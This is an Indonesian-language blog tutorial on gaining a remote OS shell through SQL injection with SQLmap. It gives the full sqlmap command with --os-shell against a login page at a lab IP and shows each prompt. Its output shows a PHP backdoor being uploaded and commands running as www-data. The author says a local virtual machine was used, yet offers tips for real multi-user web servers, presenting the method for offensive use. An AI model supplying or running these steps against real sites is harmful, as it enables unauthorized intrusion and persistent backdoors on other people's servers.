Spawn Shell
Belakangan ini, tema post yang saya berikan selalu berbau SQL Injection. Saya harap pembaca tidak bosan membaca tutorial yang saya berikan. Kali ini saya akan menjelaskan bagaimana cara melakukan remote shell dengan metode SQL Injection. Dan pada kesempatan kali ini, saya akan menggunakan SQLmap.
Pada
tutorial ini, pembaca mungkin akan menyadari apa yang membuat SQLmap
lebih baik daripada alat SQL Injection yang lainnya. Karena tool ini
benar-benar melakukan hal-hal yang sulit dijelaskan bagaimana cara
kerjanya. Namun saya masih memahami sedikit dari metode yang digunakan
SQLmap.
Metode Spawn Shell
Attacker -> SQLmap -> Upload [Shell Code] -> Victim
Alur
di atas menjelaskan bahwa attacker menggunakan SQLmap untuk melakukan
SQL injeksi, dan mengupload Shell Code pada korban. Hebatnya, anda
tidak perlu malakukan log ini ke situs ini untuk mengupload shell code
milik anda. Kemudian:
Attacker -> SQLmap -> Shell Code [Arbitrary Command] -> OS Shell
Sementara
alur diatas menjelaskan bahwa attacker menggunakan SQLmap untuk
menghubungkam dirinya ke backdoor yang telah ter-upload ke korban, dan
mengirimkan perintah shell yang kemudian dieksekusi oleh OS Shell
(Command Prompt pada Windows, atau Bash pada UNIX).
Shell
Code atau backdoor yang dimiliki oleh SQLmap sendiri memiliki sejumlah
jenis. Diantaranya ASP, ASPX, PHP, dan JSP. Jenis ini disesuaikan pada
engine yang digunakan oleh korban. Pada tutorial kali ini, saya akan
menggunakan jenis PHP. Saya tetap menggunakan Virtual OS pada
localhost, agar tutorial saya tidak menimbulkan kerugian kepada pihak
lain.
Preparation :
- SQLmap (dapat ditemukan di backtrack)
1. Ketahui celah SQL Injection pada korban
Pada
tutorial sebelumnya, saya telah menjelaskan bagaimana cara menggunakan
SQLmap lebih lanjut, jika tidak ditemukan parameter pada URL dengan
bantuan tamper data. Jika anda belum memahaminya, saya sarankan anda
membaca kembali postingan sebelumnya mengenai SQL Injection Level 4 [Part 1]
Untuk melakukan spawn shell, anda hanya perlu menambahkan parameter --os-shell pada perintah sqlmap.
Command :
<< back|track 5 R2 [~] sqlmap
-u "http://10.10.1.128/checklogin.php"
--data="POSTDATA=myusername=admin&mypassword=admin&Submit=Login"
--drop-set-cookie --ignore-proxy --os-shell
Opsi --os-shell ini bertujuan untuk mengupload arbitrary file ke korban, dan membuka shell baru.
2. Ketahui Engine yang digunakan oleh korban
Kebanyakan
SQL injection, menyerang situs yang memiliki basic PHP, dengan
database MySQL. Namun tidak berarti selalu PHP yang memiliki kelemahan.
Bahawa pemrograman web seperti ASP, ASPX, dan JSP juga dapat melakukan
koneksi ke database MySQL. Artinya bahasa pemrograman ini juga
memiliki kelemahan (nothing is perfect). Setelah mengeksekusi perintah
pada tahap satu, maka anda diharuskan untuk menentukan bahasa
pemrograman web apa yang digunakan oleh korban.
Output :
[14:45:55] [INFO] trying to upload the file stager
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] PHP (default)
[4] JSP
Karena
kali ini korban saya menggunakan web aplikasi berbahasa PHP, maka saya
pilih nomer 3. Tekan enter, kemudian anda diharuskan untuk menentukan,
kemana file ini akan diupload?
Output :
please provide the web server document root [/var/www/]:
Pada
pilihan ini, saya masukan /var/www/. Sedikit catatan untuk pembaca,
dalam kenyataannya, anda akan berhadapan dengan web server dengan
banyak user, sehingga document root tidak mungkin berada pada folder
/var/www/. Beberapa web server, mengatur document root nya pada diretory
/home/, atau /var/www/hosts, atau /var/www/vhosts, atau
/var/www/[victim]. Setelah menentukan document root, tekan enter. Pada
tahap selanjutnya, anda bisa membiarkan value atau jawaban kosong, cukup
tekan enter sampai proses upload selesai. Jika berhasil, maka anda
akan mendapat output seperti ini:
Output :
[14:46:08] [INFO] the backdoor has probably been successfully uploaded on '/var/www' - http://10.10.1.128:80/tmpbbxju.php
[14:46:08] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
3. Game Over
Jika
berhasil, maka anda hanya perlu memasukan perintah ke dalam os-shell
interpreter. Dan menjawab "Y" pada setiap pertanyaan yang muncul.
Output :
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
It is so powerful, isn't it?
by hackkill1
0 komentar:
Posting Komentar